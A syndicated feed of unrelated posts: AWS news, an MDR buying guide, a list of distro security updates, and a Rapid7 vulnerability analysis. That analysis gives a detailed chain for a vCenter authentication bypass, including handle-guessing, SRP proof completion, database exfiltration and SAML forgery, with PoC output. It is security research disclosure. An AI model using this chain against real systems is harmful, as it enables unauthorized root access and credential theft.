Amazon Web Services (AWS) is pleased to announce that AWS has achieved Spain’s national Limited Distribution (“Difusión Limitada”) and NATO Restricted accreditation for the AWS Europe (Spain) Region. The Difusión Limitada and NATO Restricted accreditation was granted by the Spanish Delegated Authority for the Security of Classified Information, the Secretary of State Director of Spain’s Centro Nacional de Inteligencia (CNI). The Centro Criptológico Nacional (CCN) and the Oficina Nacional de Seguridad (ONS) are working bodies of the CNI, which audited AWS against the CCN-STIC-004 policy and the applicable ONS requirements.

With this milestone, AWS becomes the first cloud provider to be accredited under NATO Restricted level, and the first to be accredited for Difusión Limitada in the AWS Europe (Spain) Region. In Spain, this was a double achievement: AWS first met the national Difusión Limitada requirements and then, in addition to this national methodology, achieved the NATO Restricted accreditation by incorporating the requirements of NATO Directive 32. This demonstrates our continued commitment to helping the public sector, defense, and NATO-affiliated customers run sensitive workloads in the cloud while meeting the highest applicable national and international security requirements.

What this covers

The Difusión Limitada and NATO Restricted accreditation by the CNI confirms that the AWS system in the AWS Europe (Spain) Region meets the procedural and security requirements for handling classified information up to the Difusión Limitada and NATO Restricted level.

What is Spain’s classified information framework?

Spain’s framework for protecting national classified information is administered by the ONS and the CCN, under the CNI. In 2026, Spain established the framework that enables handling of Difusión Limitada information in the commercial public cloud, under which this accreditation was granted. The accreditation builds on the AWS ENS High certification and the CCN’s IT Product and Service Catalogue (CPSTIC) qualifications. The scope of the accreditation covers the CPSTIC-qualified services and all AWS services certified under ENS High (see the list of AWS services in scope for ENS High). Only the services within this scope that are qualified or certified under the CCN framework (CPSTIC and ENS High) and run in the AWS Europe (Spain) Region can be used for Difusión Limitada and NATO Restricted workloads.

What is NATO Restricted?

NATO Directive 32 establishes the security requirements for handling NATO Restricted information in public cloud, and is the directive referenced by Spain’s CCN-STIC-004 policy.

Why this matters to customers

Public sector and defense organizations in Spain can use the AWS Europe (Spain) Region for national Difusión Limitada classified workloads and for NATO Restricted workloads. Under the shared responsibility model, customers that want to process classified information in the AWS Europe (Spain) Region engage the CCN and ONS to accredit their own systems, building on the AWS accreditation.

How to get started

National security and defense customers may build on the AWS Trusted Secure Enclave, Sensitive Edition (TSE-SE) to design a cloud architecture for their sensitive workloads. Accreditation documentation is available to eligible customers through AWS Artifact. Customers can also work with their AWS account teams to understand how the Difusión Limitada and NATO Restricted accreditation, and TSE-SE apply to their use cases.

To learn more about AWS compliance in Spain, see the AWS ENS compliance page and the AWS Compliance Programs page.

For more details see AWS NATO Restricted and Difusión Limitada for AWS Europe (Spain) Region web page
 


Spanish version

AWS obtiene la acreditación Difusión Limitada y NATO Restricted en la Región AWS Europa (España)

Amazon Web Services (AWS) se complace en anunciar que ha obtenido la acreditación nacional de España “Difusión Limitada” y la acreditación NATO Restricted para la Región AWS Europa (España). La acreditación Difusión Limitada y NATO Restricted ha sido concedida por la Autoridad Delegada para la Seguridad de la Información Clasificada de España, la Secretaria de Estado Directora del Centro Nacional de Inteligencia (CNI). El Centro Criptológico Nacional (CCN), y la Oficina Nacional de Seguridad (ONS), son órganos de trabajo del CNI, que auditaron a AWS conforme a la política CCN-STIC-004 y a los requisitos aplicables de la ONS.

Con este hito, AWS se convierte en el primer proveedor cloud acreditado en el nivel NATO Restricted, y en el primero acreditado para Difusión Limitada en la Región AWS Europa (España). En España ha sido un doble logro: AWS cumplió primero los requisitos nacionales de Difusión Limitada y, sobre esta metodología nacional, obtuvo la acreditación NATO Restricted incorporando los requisitos de la Directiva 32 de la OTAN. Esto demuestra nuestro compromiso continuo de ayudar al sector público, a la defensa y a los clientes vinculados a la OTAN a ejecutar cargas de trabajo sensibles en la nube cumpliendo los requisitos de seguridad nacionales e internacionales más exigentes aplicables.

Qué abarca

La acreditación Difusión Limitada y NATO Restricted del CNI confirma que el sistema de AWS en la Región AWS Europa (España) cumple los requisitos procedimentales y de seguridad para tratar información clasificada hasta el nivel Difusión Limitada y NATO Restricted.

¿Cuál es el marco español de información clasificada?

El marco español de protección de la información clasificada nacional lo administran la ONS y el CCN, bajo el CNI. En 2026, España estableció el marco que permite tratar información Difusión Limitada en la nube pública comercial, en virtud del cual se ha concedido esta acreditación. La acreditación se basa en la certificación ENS categoría Alta de AWS y en las cualificaciones del Catálogo de Productos y Servicios de Seguridad TIC (CPSTIC) del CCN. El alcance de la acreditación incluye los servicios cualificados en CPSTIC y todos los servicios de AWS certificados en el ENS categoría Alta (consulte la lista de servicios de AWS en el alcance del ENS categoría Alta). Solo pueden utilizarse para cargas de trabajo Difusión Limitada y NATO Restricted los servicios de este alcance cualificados o certificados en el marco del CCN (CPSTIC y ENS categoría Alta) que se ejecuten en la Región AWS Europa (España).

¿Qué es NATO Restricted?

La Directiva 32 de la OTAN establece los requisitos de seguridad para tratar información NATO Restricted en la nube pública, y es la directiva a la que hace referencia la política española CCN-STIC-004.

Por qué es importante para los clientes

Las organizaciones del sector público y de defensa en España pueden utilizar la Región AWS Europa (España) para cargas de trabajo clasificadas nacionales Difusión Limitada, así como para cargas de trabajo NATO Restricted. Conforme al modelo de responsabilidad compartida, los clientes que quieran tratar información clasificada en la Región AWS Europa (España) deben dirigirse al CCN y a la ONS para acreditar sus propios sistemas, apoyándose en la acreditación de AWS.

Cómo empezar

Los clientes de seguridad nacional y defensa pueden apoyarse en AWS Trusted Secure Enclave, Sensitive Edition (TSE-SE) para diseñar una arquitectura cloud para sus cargas de trabajo sensibles. La documentación de la acreditación está disponible para los clientes elegibles a través de AWS Artifact. Los clientes también pueden trabajar con sus equipos de cuenta de AWS para entender cómo se aplican a sus casos de uso la acreditación Difusión Limitada y NATO Restricted y TSE-SE.

Para más información sobre el cumplimiento de AWS en España, consulte la página de cumplimiento ENS de AWS y la página de Programas de cumplimiento de AWS.

Para más detalles, consulte la página web de AWS sobre NATO Restricted y Difusión Limitada para la Región AWS Europa (España)

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.


Borja Larrumbide

Borja Larrumbide

Borja is a Security Assurance Manager for AWS in Iberia. He has a bachelor’s degree in computer science from Boston University (USA) and has worked in companies such as Microsoft and BBVA in different roles and sectors. Borja is a seasoned security assurance practitioner with many years of experience engaging key stakeholders at national and international levels. His areas of interest include security, privacy, risk management, and compliance.

ASUS Turbo Radeon AI PRO R9700 Review

Post Syndicated from Ryan Smith original https://www.servethehome.com/asus-turbo-radeon-pro-ai-r9700-review/

Today we are taking a look at ASUS’s high-end Radeon AI inference card for workstations, the Turbo Radeon AI Pro R9700. With 32GB of RAM and a $2000 price tag, the card is a highly affordable way to fill out a workstation for local AI inference

The post ASUS Turbo Radeon AI PRO R9700 Review appeared first on ServeTheHome.

How to compare MDR providers when every proposal looks promising

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/dr-comparing-mdr-providers-scorecard

Choosing a managed detection and response (MDR) provider means committing budget, connecting systems, and trusting another team to act when your organization is under pressure. Yet a proposal promising 24×7 coverage, expert analysts, and fast response can leave important questions unanswered. Which systems will actually be monitored? What will analysts investigate before contacting you? What happens when an incident needs more work?

Before choosing a provider or renewing your current agreement, ask for evidence of how the service operates. Rapid7’s MDR Evaluation Scorecard gives you 18 checks to structure that conversation and record what still needs proving.

Start with one investigation

Ask a provider to walk you through a completed investigation, using an anonymized example where necessary. Follow the initial signal through the evidence considered, the analyst’s decision, and any response actions.

Suppose suspicious activity involves an account with access to a critical business system. Can the provider show how the account’s permissions, the systems within reach, and known weaknesses influenced its investigation? Can it explain what it ruled out and why it escalated or contained the activity?

This exercise helps you assess whether exposure context, intelligence, and customer telemetry work together. It also makes the division of work visible: what the provider investigated, what it decided, and what your team had to do next.

Compare the service you would actually receive

Use the same requirements for every provider, including your incumbent. Confirm the proposed service tier, supported integrations, response responsibilities, and total costs before comparing scores.

Be specific about incident response. Establish who handles containment, forensics, eradication, and mitigation, which actions require your approval, and whether additional work changes the bill. A demonstration should be supported by written commitments about the service you would receive.

Rapid7 MDR includes unlimited incident response, giving customers direct access to senior responders for digital forensics, eradication, and mitigation. When evaluating that commitment, ask us to explain the activities covered, how containment and remediation are coordinated, and which decisions remain with your team.

Apply the same scrutiny to intelligence. Ask for an example showing how an emerging threat led to detection updates, hunting activity, or customer guidance. Rapid7’s emerging-threat response process connects research, detection engineering, product, and communications. The useful evaluation question is how that process changes the protection and advice customers receive.

Look for improvement you can trace

A detailed investigation record helps you understand what happened. Your next question should be what changed afterward.

Look for recommendations that led to stronger controls, better detections, or closed coverage gaps. Ask how the provider reviews completed actions and recurring problems with your team. When comparing reporting, check whether you can trace those improvements alongside investigation volumes and response measures.

Turn the answers into a decision

The scorecard covers six areas: exposure-aware detection, intelligence, response ownership and cost, transparency, team expertise, and integration. Rate each capability against evidence, then record limitations, outstanding questions, and follow-up owners.

The total helps organize your comparison, but essential requirements deserve individual attention. A strong overall score cannot compensate for a response capability your organization needs and the proposed service excludes.

Download the MDR Evaluation Scorecard before your next provider review, shortlist meeting, or renewal discussion. Use it to make the evidence comparable and identify exactly what needs resolving before you commit.

AWS Weekly Roundup: Local Zone in Bogotá, 30-minute Lambda timeout, and more (November 24, 2026)

Post Syndicated from Daniel Abib original https://aws.amazon.com/blogs/aws/aws-weekly-roundup-local-zone-in-bogota-30-minute-lambda-timeout-and-more-november-24-2026/

Some limits shape architecture more than any feature does. AWS Lambda launched in 2014 with a 60-second timeout, moved to 5 minutes in 2015 and to 15 minutes in 2018, and then stayed there for eight years. Last week the limit doubled, and in the same week Lambda learned to run on GPUs and gave platform teams their own runtimes. That is a lot of Lambda for one week.

Two other threads ran through the week. A new AWS Local Zone in Bogotá brought AWS infrastructure closer to users in Colombia. And AWS Security Token Service (AWS STS), Amazon Cognito, and Amazon CloudFront each shipped a piece of identity for agents: who an agent is when it shows up at your door, and how little it should be allowed to do. Now, let’s get into this week’s AWS news…

Headlines
AWS Local Zone in Bogotá, Colombia – AWS opened a new Local Zone in Bogotá, so you can now run applications that need single-digit millisecond latency closer to users in Colombia. AWS Local Zones place compute, storage, and networking near large metropolitan areas with the same APIs and tools as a Region, for workloads like real-time gaming, live streaming, and financial transactions. The Bogotá Local Zone supports Amazon EC2 C7i, M7i, and R7i instances, Amazon EBS gp3, gp2, and io1 volumes with local snapshots, Amazon S3 One Zone-Infrequent Access, Amazon ECS, Amazon EKS, AWS Direct Connect, and Application Load Balancer. To start, enable us-east-1-bog-1a in AWS Global View.

AWS Lambda now supports a 30-minute timeout for on-demand Event Functions – You can now configure any Event Function with a timeout of up to 30 minutes (1,800 seconds), double the previous limit, for synchronous, asynchronous, and event source mapping invocations. On Lambda Managed Instances, synchronous invocations also go to 30 minutes, while asynchronous and event source mapping invocations keep the 90-minute timeout from September. Standard Lambda pricing applies, in all commercial Regions. Agentic requests that chain model and tool calls, media transcoding, and file conversion are the workloads AWS calls out. Before raising the value, read the considerations in the Compute blog post: a service that invokes your function synchronously applies its own timeout, client read and socket timeouts need to be longer, and a NAT gateway drops idle connections after 350 seconds, so long calls need keep-alives. For longer work, durable functions still run for up to a year, and now emit OpenTelemetry traces.

AWS Lambda now supports GPU instances for Event Functions on Lambda Managed Instances – You can now run GPU-accelerated inference, media processing, rendering, and scientific computing as Lambda functions, packaged as OCI container images, with no GPU drivers, CUDA versions, or AMIs to reconcile. In the walkthrough, four concurrent requests shared one copy of the model on a single GPU and finished in about the same time as one. It’s optimized for inference with custom models, on G-series instances from G4dn to G6e. You pay the EC2 instance fee (Savings Plans and Reserved Instances apply), a 9.75% management fee for GPU instances, and $0.20 per million requests.

Last week’s launches
Here are some launches and updates from this past week that caught my attention:

Amazon Polly now supports voice cloning – You can now create a custom voice in Amazon Polly from a few minutes of recordings of a consenting speaker, running on the Polly generative engine. It launches in seven languages, including English, Spanish, and Portuguese, and each cloned voice speaks the language it was recorded in. Polly doesn’t keep the recordings or train on them. Creating a voice is free, and you pay for the speech you synthesize. It’s a gated release, so request access through your account team. The ML blog post covers brand-voice use cases for contact centers, voice agents, and content.

AWS Lambda now supports customer-managed runtimes – You can now manage a Lambda runtime as its own resource, separate from function deployment. Platform teams package approved SDKs, certificates, and security or monitoring agents as an OCI image in Amazon ECR, and functions pick up updates as Lambda recycles execution environments, with no per-function redeploys. Updates can be staged, with health metrics and rollback. There’s no additional charge, and the Compute blog walkthrough shows the platform-team workflow.

AWS STS announces GetScopedCredentials to scope down permissions at runtime – You can now take the temporary credentials a workload already holds and derive narrower ones, cutting permissions, session duration, or both. The result keeps the caller’s original identity, and permissions only ever narrow, so a sub-agent can never end up with more access than whoever created it. Access to the API is controlled with IAM policies, and every call lands in AWS CloudTrail. It’s available in all commercial Regions and beyond, including GovCloud (US) and China.

Amazon Cognito now supports dynamic client registration – You can now let MCP clients and AI agents register themselves at runtime (RFC 7591) instead of creating an app client in advance for each one. You choose between requiring an access token with a registration scope or opening registration to any client, and dynamically registered clients carry a client ID prefix so you can filter and manage them with the rest. It’s available on the Essentials and Plus plans, and client ID metadata documents arrived the same week.

Amazon CloudFront Functions now supports network calls – You can now call your own APIs from a function with cf.fetch() and act on the response, so authorization, personalization, or fraud checks that used to need Lambda@Edge or a trip to the origin can run at the edge. AWS’s own example: check an AI agent’s permissions and usage budget before the request reaches your API or MCP server. Network calls cost $0.10 per million on top of invocation charges and are included in the Pro flat-rate plan and above. The Networking blog post also covers cf.beacon() for background analytics.

Amazon Aurora DSQL now supports multi-Region peering across continents – You can now build a multi-Region Amazon Aurora DSQL cluster with peers on different continents, such as US East (N. Virginia) and Europe (Ireland), and read and write to one strongly consistent database from both. It was a busy week for DSQL: PL/pgSQL functions and procedures arrived, and storage upgrades brought up to 50% higher write throughput at no additional cost.

For a full list of AWS announcements, be sure to keep an eye on the What’s New with AWS page.

Other AWS news
Here are some additional posts and resources that you might find interesting:

How the BMW Group governs hundreds of agents across thousands of developers – With more than 12,500 developers in R&D, BMW treats governance as deterministic code outside the agent’s reasoning loop, mostly in the CI/CD pipeline, so neither the agent nor its prompts can override it.

AI coding agents on Amazon EC2 Mac: How Cognition scales Devin for macOS – Cognition starts a fresh macOS VM for each Devin session in under a minute on Amazon EC2 Mac hosts across six Regions. The detail worth stealing: sessions are decoupled from hosts, and Cognition reports that about 90% release their VM when idle and resume from a snapshot in seconds.

How Klaviyo processes 3 billion daily events at scale with Amazon MSK Express – Timely reading for Black Friday week. Klaviyo moved from RabbitMQ to Amazon MSK Express brokers to absorb roughly 7 times normal event volume during Black Friday and Cyber Monday. Running one set of processors across three priority topics, instead of separate infrastructure per level, cut costs by roughly 30%, according to the team.

Upcoming AWS events
Check your calendar and sign up for upcoming AWS events:

AWS re:Invent – It’s next week: join the community in Las Vegas from November 30 to December 4, or register for the free livestream to follow the keynotes and selected sessions remotely.

AWS Community Days – Find community-led technical talks, workshops, and hands-on learning near you. Check each organizer’s page for current dates and registration details.

Join the AWS Builder Center to connect with builders, share solutions, and access content that supports your development. Browse here for upcoming AWS-led in-person and virtual events and developer-focused events.

That’s all for this week. Check back next Monday for another Weekly Roundup!

– Daniel Abib

This post is part of our Weekly Roundup series. Check back each week for a quick roundup of interesting news and announcements from AWS!

Security updates for Tuesday

Post Syndicated from jzb original https://lwn.net/Articles/1109472/

Security updates have been issued by AlmaLinux (aspell, curl, fence-agents, flatpak, flatpak-builder, freerdp, git-lfs, golang, grafana, grafana-pcp, gstreamer1-plugins-good, kernel, kernel-rt, libgsf, liblerc, mutter, netpbm, nodejs26, openssh, patch, perl-CGI, php, php:8.2, php:8.3, php:8.4, podman, python-oauthlib, python36:3.6, qt6-qtbase, rsync, ruby, ruby4.0, skopeo, sqlite, virt:rhel and virt-devel:rhel, wayland, webkit2gtk3, and xdg-desktop-portal), Debian (chromium, mediawiki, pymongo, and radsecproxy), Fedora (c-ares, clamav, libmodulemd, mimedefang, mycli, poppler, sqlite, tpm2-tss, xfsprogs, and xorg-x11-server-Xwayland), Gentoo (GPGME and GPL Ghostscript), Oracle (bind, bind9.18, cifs-utils, cockpit-files, cockpit-machines, curl, dovecot, edk2, expat, fence-agents, firefox, freerdp, gfs2-utils, grafana-pcp, java-1.8.0-openjdk, kernel, libgsf, librabbitmq, mingw-expat, netpbm, nginx, nodejs:26, openssh, perl-URI, php8.4, python-oauthlib, python3.9, qt5-qtbase, skopeo, sos, thunderbird, and xdg-desktop-portal), Red Hat (curl, libevent, libvirt, mariadb-connector-c, php8.4, php:8.2, python, python3, python3.11, python3.9, sssd, and thunderbird), SUSE (bind, cockpit, dpdk, helm, libXi, mozilla-nss, MozillaFirefox, mtools, nginx, parted, pcre2, python-M2Crypto, python-maturin, python-tornado, ruby2.5, ruby3.4, sbc, and shadow), and Ubuntu (libssh, linux-aws, linux-azure, linux-azure-fde, linux-gcp, linux-oracle, linux-azure, linux-azure-5.15, linux-azure-fde-5.15, linux-raspi, linux-azure, linux-azure-6.8, linux-azure-fde, linux-azure-fde-6.8, linux-azure-fips, linux-azure-5.4, linux-azure-fips, linux-azure-fde, linux-azure-fips, linux-azure-fde, linux-oracle, linux-oracle-7.0, linux-raspi, linux-realtime, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency, python-oauthlib, qt6-5compat, ruby2.7, ruby2.5, ruby2.3, and tomcat10, tomcat11).

Rapid7 Analysis: VMware vCenter SRP Authentication Bypass to Root (CVE-2026-123890)

Post Syndicated from Jack Heysel original https://www.rapid7.com/blog/post/ra-rapid7-analysis-vmware-vcenter-srp-authentication-bypass-to-root-cve-2026-123890

Overview

An unauthenticated attacker can retrieve the session key for an in-progress administrator login to VMware vCenter’s directory service. The attacker then uses that key to complete the login without knowing the account’s password. The vulnerable interface is exposed through DCE/RPC on TCP port 2012.

The issue, tracked as CVE-2026-123890, combines a Secure Remote Password (SRP) session-key getter that is callable before authentication with an RPC context lookup that does not enforce ownership. The context handles use predictable UUIDv1 values. By creating two reference contexts around a pending login, an attacker can narrow the hidden login handle to a short timestamp window and ask the server for its key.

We reproduced the bypass against vCenter Server Appliance 8.0.2.00400, build 23929136, running Photon OS 4.0, and leveraged the resulting administrator connection through to root command execution. SSH and Bash access were initially disabled. The attack recovered the directory database and its Security Token Service (STS) signing key, forged an administrator API session, and used appliance administration features to create an account and enable SSH. Neither the existing SSO password nor the root password was an input to that chain.

Impact

The attacker needs network access to TCP 2012 and the name of an existing SSO principal. Our PoC uses the default SSO administrator principal, [email protected]; deployments using a different SSO domain need the corresponding account name. The attack does not depend on an existing authenticated connection or an administrator being online. The attacker initiates the login attempt in order to recover its session key.

The authenticated connection can call the directory database-copy interface. Its raw database contains the STS private signing key, allowing the attacker to sign administrator assertions that vCenter trusts. Our attack workflow used a forged assertion to create a local appliance superAdmin account, enable SSH and Bash, and execute commands as root through sudo. This final part requires access to the HTTPS API on TCP 443 and SSH on TCP 22, in addition to TCP 2012. It uses the administrative privileges obtained through the original bypass; no second vulnerability is needed once you have administrative RPC access.

Technical Analysis

Returning the key before checking the proof

// vmdir/server/vmdir/rpcsrpserv.c

 long Srv_rpc_srp_verifier_get_session_key(
 handle_t hServer,
 srp_verifier_handle_t hSrp,
 rpc_p_srp_bytes_container ret_key_cont)
 {
// ...
 struct SRPVerifier ver = (struct SRPVerifier *) hSrp; //[A1]
 rpc_p_srp_bytes_container key_cont = NULL;
if (!ver)
{
    sts = rpc_s_invalid_handle;
    goto error;
}
key = srp_verifier_get_session_key(ver, &key_len);     // [A2]
if (!key || key_len == 0)
{
    sts = rpc_s_auth_nokey;
    goto error;
}
sts = _srp_bytes_container_allocate(key, key_len, &key_cont);
if (sts)
{
    goto error;
}
*ret_key_cont = key_cont;                             // [A3]
// ...
}

The SRP RPC getter receives an SRP verifier at [A1], obtains its session key at [A2], and returns a copy at [A3]. It checks whether the verifier and key exist. It does not check whether the caller has authenticated, whether the caller owns the verifier, or whether the SRP client has supplied a valid password proof.

The value at [A1] is a server-side pointer that the RPC runtime resolves from the context handle supplied in the request. Each newly created verifier context receives its own UUID, so the attacker needs the handle for the specific pending login they want to complete. These context UUIDs identify individual verifier instances; the fixed interface UUIDs identify the available RPC interfaces.

UUIDv1 values contain a timestamp, clock sequence, and node identifier. The attacker creates a verifier immediately before starting the target login and another immediately afterward, obtaining both reference UUIDs without authenticating. On the tested service, the reference UUIDs share their clock sequence and node identifier. The attacker reuses those fields and searches the intervening timestamps for the pending login’s live verifier, keeping the login connection open throughout the search.

// vmdir/thirdparty/csrp/srp.c 
int srp_verifier_is_authenticated(struct SRPVerifier *ver)
{
    return ver->authenticated; // [A4]
}
// ...
const unsigned char *srp_verifier_get_session_key(
    struct SRPVerifier *ver, int *key_length)
{
    if (key_length)
        *key_length = hash_length(ver->hash_alg);
    return ver->session_key; // [A5]
}

The underlying SRP library exposes the authentication flag separately at [A4]. Its key getter at [A5] does not consult that flag. The server has already computed the shared key while generating its challenge, because it needs that key to verify the client’s proof. Returning it at this stage gives the client the secret needed to produce that proof.

Resolving another connection’s context

// dcerpc/idl_lib/ctxeectx.c
void rpc_ss_ee_ctx_from_wire(
    ndr_context_handle *p_wire_context,
    rpc_ss_context_t *p_context,
    volatile error_status_t *p_st)
{
    // ...
    p_uuid = &p_wire_context->context_handle_uuid; // [B1]
    // ... nil-handle check and table lock ...
    this_link = &context_table[dce_uuid_hash(p_uuid,
        (error_status_t *)p_st) % CALLEE_CONTEXT_TABLE_SIZE]; // [B2] 
    while (!dce_uuid_equal(p_uuid, &this_link->uuid,
        (error_status_t *)p_st))
    {
        this_link = this_link->next_context;
        // ... reject a missing entry ...
    }
    *p_context = this_link->user_context; /* [B3] */
    // ...
}

The RPC runtime takes the supplied UUID at [B1], searches a process-wide table at [B2], and returns the associated context at [B3]. There is no comparison with the requesting connection or its authenticated identity. Although context creation records a client for lifetime management, that client is not part of this lookup’s authorization decision (hooray!!).

We confirmed the boundary directly: one anonymous RPC connection created an SRP verifier, and a second anonymous connection retrieved that verifier’s key before any password proof was sent. The first connection’s context handle was enough to make the second connection’s request succeed.

The service registers the helper with a secure-interface flag and an authentication callback. On the tested TCP path, however, the RPC executor retrieves those registration values and dispatches the server stub without enforcing the callback. Other directory handlers perform their own access checks. The SRP key getter has no equivalent check, leaving it reachable before authentication.

Predictable handles make the lookup usable

// dcerpc/uuid/uuidsys.c
void uuid__get_os_time(dce_uuid_time_t *uuid_time)
{
    // ...
    if (gettimeofday(&tp, (struct timezone *)0))           // [C1]
    {
        perror("uuid__get_os_time");
        exit(-1);
    }
    uuid__uemul((long)tp.tv_sec, UUID_C_100NS_PER_SEC, &utc);
    uuid__uemul((long)tp.tv_usec, UUID_C_100NS_PER_USEC, &usecs); // [C2]
    UADD_UVLW_2_UVLW(&usecs, &utc, &utc);
    // ... add the UUID epoch offset ...

The UUID timestamp generator reads the wall clock at [C1] and converts its microseconds into 100-nanosecond UUID ticks at [C2]. The resulting UUIDv1 handle also contains a clock sequence and node identifier. In our captures, those latter fields remain stable while newly created contexts advance through the timestamp space.

vmdir manages this SRP authentication exchange through the Generic Security Service API (GSS-API), which provides a common interface for authentication mechanisms. Starting the login creates an SRP verifier internally, but the login client does not receive its context handle.

An attacker can obtain reference handles by creating ordinary SRP verifiers through the helper interface. Creating one immediately before the GSS-API login and another immediately afterward bounds the timestamp of its hidden verifier. The shared node and clock-sequence fields then let the attacker construct candidate UUIDs within that interval.

The default search advances in increments of ten UUID ticks, matching the clock’s microsecond resolution. The generator also supports uniqueness adjustments within a clock tick, so the PoC includes a one-tick search mode. Clock changes, concurrent activity, and the chosen search bounds can affect recovery; exhausting the window does not establish that a target is patched.

Exploit

Narrowing the Search Window for a Pending Login

The service exposes two relevant RPC interfaces on port 2012:

Interface

UUID

Operations used

SRP verifier helper

c7e94609-6ab0-4767-8e92-b6485bff1649

Create verifier, retrieve key, delete verifier

vmdirdbcp

72c780fe-af6b-42ba-9b02-f61f4ccc98ed

SRP-authenticated bind, directory state, and database open/read/close

The helper’s operation numbers are 0 for verifier creation, 1 for key retrieval, and 4 for deletion. GetState is operation 4 on the separate vmdirdbcp interface. The interface UUID is therefore part of identifying an operation; the operation number alone is ambiguous.

The client first creates a reference verifier, starts a separate SRP login as the target principal (e.g. [email protected]), and creates the second reference verifier. It keeps the login connection open while querying candidate handles over another anonymous connection. These are all connections controlled by the attacker.

GSS does not return the handle for its own verifier. A reference verifier for the same principal has a different session key, so retrieving that reference key does not complete the pending GSS login. We need the key from the verifier associated with the login connection; the reference handles only narrow the search for it.

In the final standalone PoC test, the reference handles were:

Before: 1d98c67a-e468-11f1-b101-000c29451b35
Hidden: 1d99c43a-e468-11f1-b101-000c29451b35
After:  1d9a8a14-e468-11f1-b101-000c29451b35

The interval between the reference timestamps was 115,610 UUID ticks, or about 11.56 milliseconds. The search recovered the hidden handle shown above after 5,083 queries. Four workers issued the queries in that Python test, so the count includes requests that were already in flight when the match was found.

The SRP verifier helper returns the pending login’s actual 20-byte session key. The attack does not need a weak password, a password hash from disk, or an invalid SRP public value. 

Completing SRP with the disclosed key

M1   = SHA1((SHA1(N) XOR SHA1(g)) || SHA1(I) || s || A || B || K)
HAMK = SHA1(A || M1 || K)

Here, I is the requested principal, N and g are the SRP group parameters, s is the server’s salt, and A and B are the public values exchanged during login. The server sends s alongside B in its initial SRP challenge, before the client supplies a password proof. The salt is public: a legitimate client uses it with the password to derive the values needed for authentication.

The client already has all of these inputs except K. Once the key getter supplies K, the client can calculate the normal client proof, M1, and verify the server’s response, HAMK.

The attack does not need a weak password, a password hash from disk, or an invalid SRP public value. Our client uses the valid public value A = 2 in the normal 2048-bit group. The reference verifiers use the cheaper 1024-bit group only to obtain the timing bounds.

The implementation hashes minimal big-endian integer representations. On the tested build, the returned B is 276 bytes because CSRP serializes k*v + g^b without first reducing the sum modulo N. Reducing or truncating that returned value while building the transcript produces the wrong proof.

The successful mechanism on this build is the legacy SRP OID 1.2.840.113554.1.2.10. Its token framing also differs from a conventional GSS wrapper: the outer length covers the OID, with the SRP state token following it. The client carries the exchange in SPNEGO bind and ALTER_CONTEXT messages, using RPC packet privacy. Matching that framing is necessary to reach the vulnerable authentication flow.

Proving the authenticated connection

The client derives packet-protection keys from the recovered SRP key using the server’s normal implementation. PBKDF2-HMAC-SHA1 expands the key into 64 bytes using the principal as salt and 128 iterations. Those bytes supply an IV, material for the Kerberos AES-256 string-to-key operation, and a 16-byte HMAC key. RPC stubs are encrypted with AES-CBC and authenticated with HMAC-SHA1 over the ciphertext.

PoC output:

{"time": "2026-11-19T22:25:25.919835+00:00", "event": "session_key_disclosed", "uuid": "1d99c43a-e468-11f1-b101-000c29451b35", "key": "1f1476617a050b8e30388e0f58ed80d83f01aa02", "guesses": 5083, "seconds": 0.8774298130301759}
{"time": "2026-11-19T22:25:25.952425+00:00", "event": "srp_authentication_complete", "username": "[email protected]", "M1": "af03ad96cb799381bf8e9a30a412b4371e24729d", "HAMK": "537b2d5753f213304824551077bddd51ed6693ae", "password_supplied": false}
{"time": "2026-11-19T22:25:26.226964+00:00", "event": "protected_rpc_result", "operation": "RpcVmDirGetState", "state": 3, "status": 0, "plaintext": "0300000000000000"}

We used RpcVmDirGetState to test the resulting connection to 192.168.1.81. An anonymous request returned status 5, ACCESS_DENIED. The authenticated request above returned 0300000000000000: the little-endian directory state, 3 (Normal), followed by the operation’s success status, 0. The PoC checked the server’s SRP proof and the encrypted response’s MAC before accepting the result.

Key recovery took approximately 0.88 seconds in this run. The complete test retained the original RPC traffic and a packet capture with 15,343 packets and zero kernel drops.
This brings us to the end of exploiting CVE-2026-123890. We have demonstrated how we can authenticate to VMware vCenter’s directory service as the administrator user and will now outline how that access can be used to get root access to the device. 

Reading the directory database

vmdir/server/vmdir/rpcserv.c, Srv_RpcVmDirOpenDatabaseFile:

// vmdir/server/vmdir/rpcserv.c
UINT32 Srv_RpcVmDirOpenDatabaseFile(
    handle_t hBinding,
    PWSTR pwszDBFileName,
    vmdir_dbcp_handle_t *ppFileHandle)
{
    // ...
    DWORD dwRpcFlags = VMDIR_RPC_FLAG_ALLOW_TCPIP
                       | VMDIR_RPC_FLAG_REQUIRE_AUTH_TCPIP
                       | VMDIR_RPC_FLAG_REQUIRE_AUTHZ;
    // ...
    dwError = _VmDirRPCCheckAccess(hBinding, dwRpcFlags,
        pszDomainDn, &pAccessToken);                      // [D1]
    BAIL_ON_VMDIR_ERROR(dwError);
    // ... validate arguments and convert the filename ...
    dwError = _VmDirRemoteDBCopyWhiteList(pszDBFileName);  // [D2]
    BAIL_ON_VMDIR_ERROR(dwError);
    // ...
    if ((pFileHandle = fopen(pszDBFileName, "rb")) == NULL)
    {
        // ... report the open failure and take the error path ...
    }
    *ppFileHandle = pFileHandle;                          // [D3]
    // ...

The database-copy handler requires authentication and authorization at [D1]. The earlier bypass satisfies those checks as the SSO administrator. The filename passes a database-path allowlist at [D2], and the handler returns a file context at [D3]. We requested /storage/db/vmware-vmdir/data.mdb through that interface.

The IDL assigns operation 0 to open, 1 to read, and 2 to close. The open request carries a reference wide string and an initially empty context handle. Each read supplies the returned context, a byte count, and an empty output container. Reads continue until the server returns a zero byte count.

Our first complete export contained 16.22 MB. We used 2,048-byte reads so the response, encryption padding, and verifier fit into a single RPC fragment. The directory stayed in state 3, Normal; we did not call RpcVmDirSetBackendState or take the service offline. These calls copy the live file rather than producing a transaction-consistent backup. The downloaded file contained the signing credential needed for the next step.

Signing an administrator API assertion

The TenantCredential-1 record in data.mdb contains the STS RSA private key and its certificate chain. Metasploit already provides extraction and SAML-signing code in vcenter_offline_mdb_extract and vcenter_forge_saml_token. We reused those implementations, matched the signing certificate to the recovered private key, and verified its VMCA issuer.

The signed assertion identifies [email protected] and carries the existing template’s administrator group claims, including SystemConfiguration.Administrators. The issuer uses the appliance’s STS identity, and the assertion includes a short validity window. Once the XML is signed, changing its whitespace can invalidate the digest, so the client preserves its compact serialization.

